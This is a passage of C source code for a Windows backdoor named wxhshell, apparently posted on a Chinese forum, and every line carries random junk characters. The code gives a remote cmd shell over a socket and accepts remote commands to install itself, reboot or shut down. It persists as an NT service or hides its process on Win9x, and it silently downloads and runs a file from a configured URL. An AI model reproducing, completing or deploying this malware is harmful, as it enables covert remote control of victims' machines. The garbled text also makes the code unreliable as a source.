  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RO&H5m r%@  
  } kL>d"w  
  else { @F~LW6K  
^e Gue  
    switch(cmd[0]) { jZpa0grA  
  9zBMlc$X  
  // 帮助 X[](Kj^`<  
  case '?': { :7g=b%;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T6#CK  
    break; WC,+Cn e  
  } ?wb+L  
  // 安装 X^@ I].  
  case 'i': { 17|np2~  
    if(Install()) pI.+"Hz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =IU*}>#  
    else \.uc06  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wQ+8\ s=  
    break; LD>\#q8a*  
    } &fOdlQ?  
  // 卸载 *\uM.m0$  
  case 'r': { K_/zuTy  
    if(Uninstall()) EW<kI+0D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e>}}:Ud  
    else \ HZ9S=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "TcW4U9  
    break; Ge+0-I6Ju  
    } )$ Mmn  
  // 显示 wxhshell 所在路径 B,WTHU[AV  
  case 'p': { BvD5SBa}"  
    char svExeFile[MAX_PATH]; tV;`fV   
    strcpy(svExeFile,"\n\r"); Y&HK1>M_  
      strcat(svExeFile,ExeFile); o%E;3l  
        send(wsh,svExeFile,strlen(svExeFile),0); uI~S=;o  
    break; 3+Qxg+<  
    } \x{;U#B[3>  
  // 重启 l_rn++  
  case 'b': { Z8#Gwyinx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S8d8%R~1=h  
    if(Boot(REBOOT)) 5kypMHJm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nmU_N:Y  
    else { Lw1EWN6}_&  
    closesocket(wsh); .|qK +Hnc  
    ExitThread(0); h}`!(K^;3  
    } JAjmrX  
    break; 'XrRhF (  
    } 4+;$7"fJ  
  // 关机 :O<bA& :d  
  case 'd': { x%+{VStA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d[ >`")2)  
    if(Boot(SHUTDOWN)) g*UMG>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;< jbLhHwD  
    else { Yap?^&GV  
    closesocket(wsh); G!N{NCq  
    ExitThread(0); RyJ 1mAC  
    } )d\ j I  
    break; (>4aibA'P  
    } :~Q!SL N  
  // 获取shell }R[#?ty;]  
  case 's': { $?G"GQ!.  
    CmdShell(wsh); g>rp@M  
    closesocket(wsh); l%ayI  
    ExitThread(0); $rF=_D6  
    break; eN? Y7  
  } TL$EV>Nr  
  // 退出 'ly?P8h  
  case 'x': { "gtHTqheH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [H<bh%  
    CloseIt(wsh); O,bkQY$v  
    break; .nu @ o40  
    } 1"7Sy3  
  // 离开 acP+3u?r  
  case 'q': { aprm0:Q^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u 's`*T@.  
    closesocket(wsh); 3A:q7#m  
    WSACleanup(); n<sd!xmqFx  
    exit(1); ,;?S\V  
    break; =gfI!w  
        } ?"#%SKm  
  } QxuhGA  
  } p.I.iAk%G^  
7(M(7}EKA  
  // 提示信息 w=]Ks'C]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %W,D;?lEo>  
} X"gCR n%tn  
  } &cWjE x  
O%g $9-?F0  
  return; SK1!thQy  
} ^-mRP\5  
S##1GOO  
// shell模块句柄 \^(0B8|w  
int CmdShell(SOCKET sock) 9a\nszwa  
{ JO=[YoTr  
STARTUPINFO si; |(m oWY=  
ZeroMemory(&si,sizeof(si)); IK,|5]*Ar  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D|Iur W1f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %75xr9yOP  
PROCESS_INFORMATION ProcessInfo; }i {sg#  
char cmdline[]="cmd"; UYk>'\%H0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w -Nhs6  
  return 0; Ol"3a|  
} MuoF FvAA  
g%F"l2M  
// 自身启动模式 g (VNy@  
int StartFromService(void) 0;S,tJg  
{ /@AEJ][$  
typedef struct X[#zCM  
{ ReiB $y6  
  DWORD ExitStatus; 26X+ }^52  
  DWORD PebBaseAddress; m)V/L]4  
  DWORD AffinityMask; f\'{3I29  
  DWORD BasePriority; !O\;Nua  
  ULONG UniqueProcessId; N#lDW~e'  
  ULONG InheritedFromUniqueProcessId; 'r(1Nj  
}   PROCESS_BASIC_INFORMATION; -a*K$rnB  
[I4ege>  
PROCNTQSIP NtQueryInformationProcess; %Qg+R26U  
z <mK>$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KH\b_>wU2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &//wSlL3  
E_KCNn-f  
  HANDLE             hProcess; UAR5^  
  PROCESS_BASIC_INFORMATION pbi; ycFio ,  
GgaTn!mJt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Dnc(l(  
  if(NULL == hInst ) return 0; R52I= a5,*  
zF5uN:-s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Oj<S.fi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ["\;kJ.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *[=bR>  
.2J L$"  
  if (!NtQueryInformationProcess) return 0; VMoSLFp^R  
jx acg^c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -{^}"N  
  if(!hProcess) return 0; `eu9dLz H  
.NtbL./=|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,=?{("+  
"[}O"LTQ  
  CloseHandle(hProcess); V\(:@0"  
V]*b4nX7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fgihy  
if(hProcess==NULL) return 0; FU=w(< R;  
Ra*e5  
HMODULE hMod; -v6M<  
char procName[255]; x `V;Y]7'  
unsigned long cbNeeded; n$xQ[4eH)  
0]HYP;E"U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L 8{\r$  
P/&]?f0/  
  CloseHandle(hProcess); ''\;z<v   
&3J@BMYp  
if(strstr(procName,"services")) return 1; // 以服务启动 drs B/  
-W,}rcj*|  
  return 0; // 注册表启动 (C]o,7cYS  
} 6_N(;6kx(  
1-RIN}CSd  
// 主模块 Kscd}f)yx?  
int StartWxhshell(LPSTR lpCmdLine) EGl^!.'  
{ "UwH\T4I  
  SOCKET wsl; czlFr|O;  
BOOL val=TRUE; #+$Q+Z|6k  
  int port=0; 5SkW-+$  
  struct sockaddr_in door; 5>AX*]c  
T{wuj[ Q#:  
  if(wscfg.ws_autoins) Install(); ,vW:}&U  
h*ZC*eV>  
port=atoi(lpCmdLine); #07gd#j4  
:!zl^J;  
if(port<=0) port=wscfg.ws_port; &@ JvnO:  
`K ,1K  
  WSADATA data; vM_:&j_?``  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0a"igq9t  
!n^OM?.4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?W E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m|OO,gR  
  door.sin_family = AF_INET; h$L"8#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q]p(u\*  
  door.sin_port = htons(port); a#T]*(Yq)  
Nan[<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !'LW_@  
closesocket(wsl); {nU=%w"\  
return 1; {}:ToIp  
} O{ /q-~_  
JI vo_7{  
  if(listen(wsl,2) == INVALID_SOCKET) { H4]Ul eU  
closesocket(wsl); zSb PW 6U  
return 1; :kfp_o+J  
} B:7mpSnEQ  
  Wxhshell(wsl); BL&LeSa  
  WSACleanup(); iX3HtIBj'  
1yqJwy;X  
return 0; +VQ\mA59  
^_lzZOhG  
} |F#1C9]P  
8b0d]*q  
// 以NT服务方式启动 S;]*)i,v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Pb*5eXk  
{ GKcv<G208  
DWORD   status = 0; U4G`ZK v(!  
  DWORD   specificError = 0xfffffff; " LJq%E  
XkyKBg-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >ooZj9:'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "n*~Mj Ny  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +Jr|z\  
  serviceStatus.dwWin32ExitCode     = 0; p<:!)kt  
  serviceStatus.dwServiceSpecificExitCode = 0; 3MRc 4UlB  
  serviceStatus.dwCheckPoint       = 0; jv&!Kw.Ug  
  serviceStatus.dwWaitHint       = 0; fxT-j s#S  
%w7]@VZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I[n ^{8gz  
  if (hServiceStatusHandle==0) return; UT="2*3gz  
S]E.KLR?[;  
status = GetLastError(); I" KN"v^  
  if (status!=NO_ERROR) [|l?2j\  
{ r;m)nRu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f|sFlUu&  
    serviceStatus.dwCheckPoint       = 0; <I"S#M7-s  
    serviceStatus.dwWaitHint       = 0; a@R]X5[O  
    serviceStatus.dwWin32ExitCode     = status; xZV1k~C  
    serviceStatus.dwServiceSpecificExitCode = specificError; VU@9@%TN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P\_`   
    return; V <bd;m  
  } ;V<fB/S.=+  
]KJj6xn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *&f$K1p  
  serviceStatus.dwCheckPoint       = 0; `Qqk<o  
  serviceStatus.dwWaitHint       = 0; W2.qhY5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vv=VRhwF  
} `UBYp p  
IUwm}9Q!  
// 处理NT服务事件,比如:启动、停止 ]Zmj4vK J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <mAhr  
{ gy nh#&r  
switch(fdwControl) uIZWO.OdU  
{ "U7qo}`I  
case SERVICE_CONTROL_STOP: rylzcN9RM$  
  serviceStatus.dwWin32ExitCode = 0; M}!2H*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PiA0]>  
  serviceStatus.dwCheckPoint   = 0; Q~T$N  
  serviceStatus.dwWaitHint     = 0; {P*m;a`}  
  { YQY%M>F@d%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3$X'Y]5a  
  } HbW0wuI  
  return; QcpXn4/*  
case SERVICE_CONTROL_PAUSE: N$[{8yil^w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \<g*8?yFs  
  break; p}cw{  
case SERVICE_CONTROL_CONTINUE: y '!m4-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k-}b{  
  break; 8Ac:_Zg  
case SERVICE_CONTROL_INTERROGATE: sM9+dh  
  break; ^`G}gWBx}w  
}; f;b[w   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,N0#!<}4  
} /i77  
#f+$Ddg*  
// 标准应用程序主函数  =kuMWaD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /E\%>wv  
{ [KxF'mz9  
C 9t4#"  
// 获取操作系统版本 S9#)A->  
OsIsNt=GetOsVer(); SCz318n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %Z1N;g0  
 s~Te  
  // 从命令行安装 /bVoErf  
  if(strpbrk(lpCmdLine,"iI")) Install(); XcjRO#s\  
4#l o$#  
  // 下载执行文件 9 yfJVg  
if(wscfg.ws_downexe) { q|),`.eh\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^f(@gS}?  
  WinExec(wscfg.ws_filenam,SW_HIDE); V 0rZz  
} }I>tO9M  
LEtG|3Dx  
if(!OsIsNt) { 8e(\%bX  
// 如果时win9x,隐藏进程并且设置为注册表启动 L+q/){Dd(  
HideProc(); >:b Q  
StartWxhshell(lpCmdLine); >qF CB\(  
} xKho1Z  
else q7E~+p(>(  
  if(StartFromService()) Z+=@<i''  
  // 以服务方式启动 5@BBo eG  
  StartServiceCtrlDispatcher(DispatchTable); {lc\,F*$  
else hzvd t  
  // 普通方式启动 `V04\05  
  StartWxhshell(lpCmdLine); >m$ 1+30X  
&e!7Z40w@&  
return 0; SBS3?hw  
}
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只看该作者 1 发表于: 2006-10-10
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